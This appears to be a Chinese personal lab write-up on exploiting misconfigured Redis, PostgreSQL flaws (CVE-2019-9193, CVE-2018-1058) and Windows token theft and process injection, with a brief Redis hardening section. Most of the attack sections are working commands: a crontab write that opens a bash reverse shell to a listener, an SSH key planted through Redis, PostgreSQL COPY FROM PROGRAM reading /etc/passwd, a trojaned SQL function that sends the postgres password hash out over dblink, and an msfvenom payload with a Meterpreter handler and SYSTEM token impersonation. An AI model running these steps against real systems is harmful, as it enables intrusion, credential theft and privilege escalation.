Redis&Postgre&令牌窃取&进程注入

9dbd8ce7a03ef218c28c24ec641d550d

6ea24b2e7abaf86c0a5b84ea7315bff3

Redis

Redis服务因配置不当,可被攻击者恶意利用。黑客借助Redis内置命令,可将现有数据恶意清空;如果redis以root身份运行,黑客可往服务器上写入SSH公钥文件,直接登录服务器。

搭建环境,我这里就不用公网服务器了吧,我在内网进行搭建

1
2
https://zhuanlan.zhihu.com/p/34527270			//安装redis
修改配置文件,使得可以远程访问(bind 127.0.0.1前面加上#号 protected-mode设为no)---vim /etc/redis.conf

Snipaste_2023-07-29_20-54-56

默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件

在kali上进行端口扫描(工具不限),但是我第一次扫描的时候没有扫出来,第二次就扫出来了,可能是因为我第二次关闭了防火墙的原因?

Snipaste_2023-07-29_21-01-58

然后是在kali上下载工具redis-cli:https://codeantenna.com/a/tq9H3WBpEU

利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell

先在自己的服务器上监听一个端口

1
nc -lvnp 7999

然后执行命令:

1
2
3
4
5
6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.70.128/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

//正常的应该全是ok

Snipaste_2023-07-29_21-39-03

出师不利,这里告诉我权限不够

Snipaste_2023-07-29_21-51-38

可进行利用的cron有如下几个地方

  • /etc/crontab这个是肯定的
  • /etc/cron.d/*将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同.漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell
  • /var/spool/cron/rootcentos系统下root用户的cron文件
  • /var/spool/cron/crontabs/rootdebian系统下root用户的cron文件

写ssh-keygen公钥然后使用私钥登陆

在以下条件下,可以利用此方法

  • Redis服务使用ROOT账号启动
  • 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

centos7开启远程服务,然后允许密钥登录:https://www.cnblogs.com/yzgblogs/p/15191338.html

生成密钥:ssh-keygen -t rsa

然后查看一下密钥:

Snipaste_2023-07-29_21-59-52

1
2
3
4
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa 密钥内容 root@kali\n\n\n"
save

又失败了

Snipaste_2023-07-29_22-03-22

修复方案

  1. 以低权限运行Redis
  2. 禁止外网访问Redis
1
2
#修改redis配置
bind 127.0.0.1
  1. 禁止一些高危命令
1
2
3
4
5
6
7
8
9
#修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

#或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

绑定需要访问数据库IP。将127.0.0.1修改为需要访问此数据库的IP地址,即不允许外连

设置访问密码在 Redis.conf中requirepass 字段后,设置添加访问密码。

修改 Redis 服务运行账号。即使用低权限运行redis,但是不允许低权限用户进行远程登录之类的

PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)

PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令

Snipaste_2023-07-30_08-40-31

首先使用Navicat工具连接到PostgreSQL数据库

1
2
3
4
5
6
7
8
9
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'cat /etc/passwd';
SELECT * FROM cmd_exec;

Snipaste_2023-07-30_08-44-21

Snipaste_2023-07-30_08-45-36

PostgreSQL 提权漏洞(CVE-2018-1058)

Snipaste_2023-07-30_08-19-32

Snipaste_2023-07-30_08-21-21

1
2
3
docker-compose up -d // 就可以启动靶场了
docker-compose down //关闭靶场
docker-compose ps //查看靶场开启的端口

Snipaste_2023-07-30_08-29-15

Snipaste_2023-07-30_08-28-43

执行如下语句退出:

1
2
3
4
5
6
7
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.70.128 port=8888 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;


//注意这里的ip和端口 按自己的来

Snipaste_2023-07-30_08-38-08

Snipaste_2023-07-30_08-33-38

1
docker compose exec postgres pg_dump -U postgres -f evil.bak vulhub

Snipaste_2023-07-30_08-39-14

Snipaste_2023-07-30_08-37-26

总结,如果有进入postgresql这样的数据库的话,如果有2019的漏洞直接利用就行了,但是如果是低权限就尝试使用2018的漏洞进行提权

Windows2008&7 令牌窃取提升-本地

原理:进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。

利用条件:需要管理员权限才能提升到system权限,对系统的版本也有要求,2008或者win7之后的系统是不适用的

生成后门:

1
msfvenom -p windows/meterpreter/reverse_tcp LPORT=8899 LHOST=192.168.70.128 -f exe -o test.exe

MSF:

1
2
3
4
5
6
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8899
show options
run

Snipaste_2023-07-30_08-57-21

仅限管理员权限,如果是普通用户就不行

1
2
3
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

Snipaste_2023-07-30_09-10-17

Snipaste_2023-07-30_09-12-51

Windows2003&10进程注入提升-本地

利用条件:仅对2008之前的系统有用,不包括2008

进程注入提权本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共享机制,这类技术主要利用在 windows2008 之前操作系统上.所以我们需要学习后续的本地提权更多的手法才能有针对高版本的系统。核心就是窃取进程的权限(有一些进程有system权限)

Pinjector工具下载地址:https://www.tarasco.org/security/Process_Injector/index.html

Snipaste_2023-07-30_09-26-15

1
2
3
pinjector.exe -l   //获取当前计算机的进程列表(列出可以注入的进程)

pinjector.exe -p 980 cmd.exe 8888

Snipaste_2023-07-30_09-33-33

Snipaste_2023-07-30_09-33-28

这里我用普通用户,根本没有system在使用的进程(悲)